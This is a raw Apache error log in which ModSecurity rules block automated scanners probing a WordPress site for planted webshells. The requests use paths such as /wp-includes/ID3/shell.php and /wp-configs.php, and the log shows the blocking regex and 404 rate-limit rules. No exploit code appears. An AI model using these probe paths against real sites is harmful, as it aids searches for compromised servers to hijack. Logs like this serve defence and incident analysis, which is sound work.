[Thu Apr 09 16:10:58.767640 2026] [:error] [pid 20837:tid 20849] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/alpha.php
[Thu Apr 09 16:10:59.036276 2026] [:error] [pid 20837:tid 20854] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Thu Apr 09 16:10:59.307695 2026] [:error] [pid 20837:tid 20842] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-michan.php
[Thu Apr 09 16:10:59.603685 2026] [:error] [pid 24515:tid 24527] [client 216.24.210.22:61245] [client 216.24.210.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "addfE61OMnvM2fMnB1NOSgAAAAg"]
[Thu Apr 09 16:10:59.630368 2026] [:error] [pid 20837:tid 20840] [client 20.215.65.153:63590] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-the.php
[Thu Apr 09 16:10:59.885494 2026] [:error] [pid 20837:tid 20846] [client 20.215.65.153:63590] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "addfE_SL71FHZkjrGzOwTAAAAYc"]
[Thu Apr 09 16:11:00.187075 2026] [:error] [pid 24624:tid 24626] [client 216.24.210.16:41539] [client 216.24.210.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "addfFO4Jn-WvK1ZBTviWKAAAAMA"]
[Thu Apr 09 16:11:00.463146 2026] [:error] [pid 18477:tid 18488] [client 20.215.65.153:62994] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "addfFMDe826HlFeoLPI92AAAAUk"]
[Thu Apr 09 16:11:00.674767 2026] [:error] [pid 18477:tid 18496] [client 216.24.210.4:40349] [client 216.24.210.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "addfFMDe826HlFeoLPI93AAAAVE"]
[Thu Apr 09 16:11:01.122102 2026] [:error] [pid 24517:tid 24597] [client 20.215.65.153:63010] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "addfFXboYEn2ZFM_PS9fmwAAAJc"]
[Thu Apr 09 16:11:01.427348 2026] [:error] [pid 24624:tid 24644] [client 216.24.210.23:44391] [client 216.24.210.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "addfFe4Jn-WvK1ZBTviWLAAAANI"]
[Thu Apr 09 16:11:01.765059 2026] [:error] [pid 24516:tid 24569] [client 20.215.65.153:63024] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/"] [unique_id "addfFdhW7vSS-UkeWCUHywAAAFY"]
[Thu Apr 09 16:11:02.393251 2026] [:error] [pid 24517:tid 24596] [client 20.215.65.153:64237] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "addfFnboYEn2ZFM_PS9fnAAAAJY"]
[Thu Apr 09 16:11:02.617356 2026] [:error] [pid 24515:tid 24536] [client 216.24.210.38:22801] [client 216.24.210.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "addfFq1OMnvM2fMnB1NOTgAAABE"]
[Thu Apr 09 16:11:03.006613 2026] [:error] [pid 24517:tid 24582] [client 20.215.65.153:64947] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "addfF3boYEn2ZFM_PS9fngAAAIg"]
[Thu Apr 09 16:11:03.562695 2026] [:error] [pid 24516:tid 24566] [client 20.215.65.153:63621] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "addfF9hW7vSS-UkeWCUHzQAAAFM"]
[Thu Apr 09 16:11:04.123211 2026] [:error] [pid 18477:tid 18484] [client 20.215.65.153:65478] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/BDKR28WP.php"] [unique_id "addfGMDe826HlFeoLPI94AAAAUU"]
[Thu Apr 09 16:11:04.531756 2026] [:error] [pid 24516:tid 24564] [client 173.239.218.22:28547] [client 173.239.218.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "addfGNhW7vSS-UkeWCUH0AAAAFE"]
[Thu Apr 09 16:11:04.743558 2026] [:error] [pid 24517:tid 24581] [client 20.215.65.153:63594] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "addfGHboYEn2ZFM_PS9fnwAAAIc"]
[Thu Apr 09 16:11:05.474117 2026] [:error] [pid 24624:tid 24627] [client 20.215.65.153:64215] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "addfGe4Jn-WvK1ZBTviWMwAAAME"]
[Thu Apr 09 16:11:05.522636 2026] [:error] [pid 24624:tid 24647] [client 216.24.210.37:55549] [client 216.24.210.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "addfGe4Jn-WvK1ZBTviWNAAAANU"]
[Thu Apr 09 16:11:06.143369 2026] [:error] [pid 24517:tid 24588] [client 20.215.65.153:63034] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "addfGnboYEn2ZFM_PS9foAAAAI4"]
[Thu Apr 09 16:11:06.749557 2026] [:error] [pid 24624:tid 24648] [client 20.215.65.153:64854] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/l10n/"] [unique_id "addfGu4Jn-WvK1ZBTviWOAAAANY"]
[Thu Apr 09 16:11:07.401329 2026] [:error] [pid 24624:tid 24640] [client 20.215.65.153:64954] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "addfG-4Jn-WvK1ZBTviWOwAAAM4"]
[Thu Apr 09 16:11:07.719016 2026] [:error] [pid 24624:tid 24644] [client 216.24.210.3:40951] File does not exist: /usr/local/apache/htdocs/suspended-page/media-new.php
[Thu Apr 09 16:11:07.989951 2026] [:error] [pid 24624:tid 24635] [client 20.215.65.153:62409] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "addfG-4Jn-WvK1ZBTviWPwAAAMk"]
[Thu Apr 09 16:11:08.485538 2026] [:error] [pid 24624:tid 24643] [client 216.24.210.3:40951] [client 216.24.210.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "addfHO4Jn-WvK1ZBTviWRAAAANE"]
[Thu Apr 09 16:11:08.724838 2026] [:error] [pid 24624:tid 24638] [client 20.215.65.153:65513] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "addfHO4Jn-WvK1ZBTviWRgAAAMw"]
[Thu Apr 09 16:11:08.886553 2026] [:error] [pid 24516:tid 24561] [client 216.24.210.24:25089] [client 216.24.210.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "addfHNhW7vSS-UkeWCUH1gAAAE4"]
[Thu Apr 09 16:11:09.329642 2026] [:error] [pid 20837:tid 20839] [client 20.215.65.153:64275] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wen.php"] [unique_id "addfHfSL71FHZkjrGzOwUgAAAYA"]
[Thu Apr 09 16:11:09.847298 2026] [:error] [pid 24515:tid 24534] [client 216.24.210.32:40003] File does not exist: /usr/local/apache/htdocs/suspended-page/pages.php
[Thu Apr 09 16:11:09.997538 2026] [:error] [pid 24517:tid 24592] [client 20.215.65.153:63029] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "addfHXboYEn2ZFM_PS9foQAAAJI"]
[Thu Apr 09 16:11:10.022666 2026] [:error] [pid 24515:tid 24520] [client 216.24.210.32:40003] [client 216.24.210.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "addfHq1OMnvM2fMnB1NOUgAAAAE"]
[Thu Apr 09 16:11:10.585005 2026] [:error] [pid 24927:tid 24931] [client 20.215.65.153:65505] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "addfHjXObuzEuw8mNJuiOgAAAQE"]
[Thu Apr 09 16:11:11.203714 2026] [:error] [pid 24624:tid 24642] [client 20.215.65.153:63573] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "addfH-4Jn-WvK1ZBTviWTAAAANA"]
[Thu Apr 09 16:11:11.642119 2026] [:error] [pid 24927:tid 24939] [client 216.24.210.39:53551] [client 216.24.210.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "addfHzXObuzEuw8mNJuiPwAAAQk"]
[Thu Apr 09 16:11:11.818977 2026] [:error] [pid 24624:tid 24635] [client 20.215.65.153:64214] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp.php"] [unique_id "addfH-4Jn-WvK1ZBTviWTwAAAMk"]
[Thu Apr 09 16:11:12.288157 2026] [:error] [pid 24515:tid 24539] [client 216.24.210.66:38359] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfus.php
[Thu Apr 09 16:11:12.441841 2026] [:error] [pid 24624:tid 24632] [client 20.215.65.153:64921] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "addfIO4Jn-WvK1ZBTviWUAAAAMY"]
[Thu Apr 09 16:11:12.453148 2026] [:error] [pid 24515:tid 24537] [client 216.24.210.66:38359] [client 216.24.210.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "addfIK1OMnvM2fMnB1NOVQAAABI"]
[Thu Apr 09 16:11:12.964765 2026] [:error] [pid 24515:tid 24543] [client 20.215.65.153:64838] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "addfIK1OMnvM2fMnB1NOVgAAABg"]
[Thu Apr 09 16:11:13.591346 2026] [:error] [pid 24624:tid 24643] [client 20.215.65.153:64951] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "addfIe4Jn-WvK1ZBTviWUgAAANE"]
[Thu Apr 09 16:11:13.682890 2026] [:error] [pid 24515:tid 24527] [client 173.239.218.150:60737] [client 173.239.218.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "addfIa1OMnvM2fMnB1NOWgAAAAg"]
[Thu Apr 09 16:11:14.085303 2026] [:error] [pid 20837:tid 20847] [client 216.24.210.16:53869] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Thu Apr 09 16:11:14.260014 2026] [:error] [pid 20837:tid 20849] [client 216.24.210.16:53869] [client 216.24.210.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "addfIvSL71FHZkjrGzOwVgAAAYo"]
[Thu Apr 09 16:11:14.492568 2026] [:error] [pid 24927:tid 24954] [client 20.215.65.153:63601] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "addfIjXObuzEuw8mNJuiQAAAARg"]
[Thu Apr 09 16:11:14.843820 2026] [:error] [pid 24516:tid 24564] [client 216.24.210.33:24147] [client 216.24.210.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "addfIthW7vSS-UkeWCUH2QAAAFE"]
[Thu Apr 09 16:11:15.062840 2026] [:error] [pid 24624:tid 24633] [client 20.215.65.153:63658] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addfI-4Jn-WvK1ZBTviWVQAAAMc"]
[Thu Apr 09 16:11:15.602603 2026] [:error] [pid 24624:tid 24626] [client 20.215.65.153:65510] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addfI-4Jn-WvK1ZBTviWWQAAAMA"]
[Thu Apr 09 16:11:15.905737 2026] [:error] [pid 24515:tid 24538] [client 216.24.210.40:33835] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Thu Apr 09 16:11:16.074167 2026] [:error] [pid 24515:tid 24536] [client 216.24.210.40:33835] [client 216.24.210.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "addfJK1OMnvM2fMnB1NOXwAAABE"]
[Thu Apr 09 16:11:16.457626 2026] [:error] [pid 18477:tid 18492] [client 20.215.65.153:64914] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addfJMDe826HlFeoLPI96wAAAU0"]
[Thu Apr 09 16:11:17.014720 2026] [:error] [pid 24515:tid 24542] [client 20.215.65.153:64862] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "addfJa1OMnvM2fMnB1NOYAAAABc"]
[Thu Apr 09 16:11:17.258904 2026] [:error] [pid 18477:tid 18486] [client 216.24.210.28:40221] [client 216.24.210.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "addfJcDe826HlFeoLPI98AAAAUc"]
[Thu Apr 09 16:11:17.644627 2026] [:error] [pid 24927:tid 24940] [client 20.215.65.153:65497] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "addfJTXObuzEuw8mNJuiQgAAAQo"]
[Thu Apr 09 16:11:17.849040 2026] [:error] [pid 24624:tid 24635] [client 216.24.210.44:34919] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/mah.php
[Thu Apr 09 16:11:18.041345 2026] [:error] [pid 24624:tid 24634] [client 216.24.210.44:34919] [client 216.24.210.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "addfJu4Jn-WvK1ZBTviWXgAAAMg"]
[Thu Apr 09 16:11:18.181325 2026] [:error] [pid 24624:tid 24632] [client 20.215.65.153:65504] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "addfJu4Jn-WvK1ZBTviWXwAAAMY"]
[Thu Apr 09 16:11:18.410339 2026] [:error] [pid 18477:tid 18483] [client 216.24.210.20:56445] [client 216.24.210.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "addfJsDe826HlFeoLPI98QAAAUQ"]
[Thu Apr 09 16:11:18.722968 2026] [:error] [pid 18477:tid 18498] [client 20.215.65.153:63664] [client 20.215.65.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "addfJsDe826HlFeoLPI98gAAAVM"]
[Thu Apr 09 16:11:19.928885 2026] [:error] [pid 18477:tid 18490] [client 173.239.218.20:29583] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-users.php
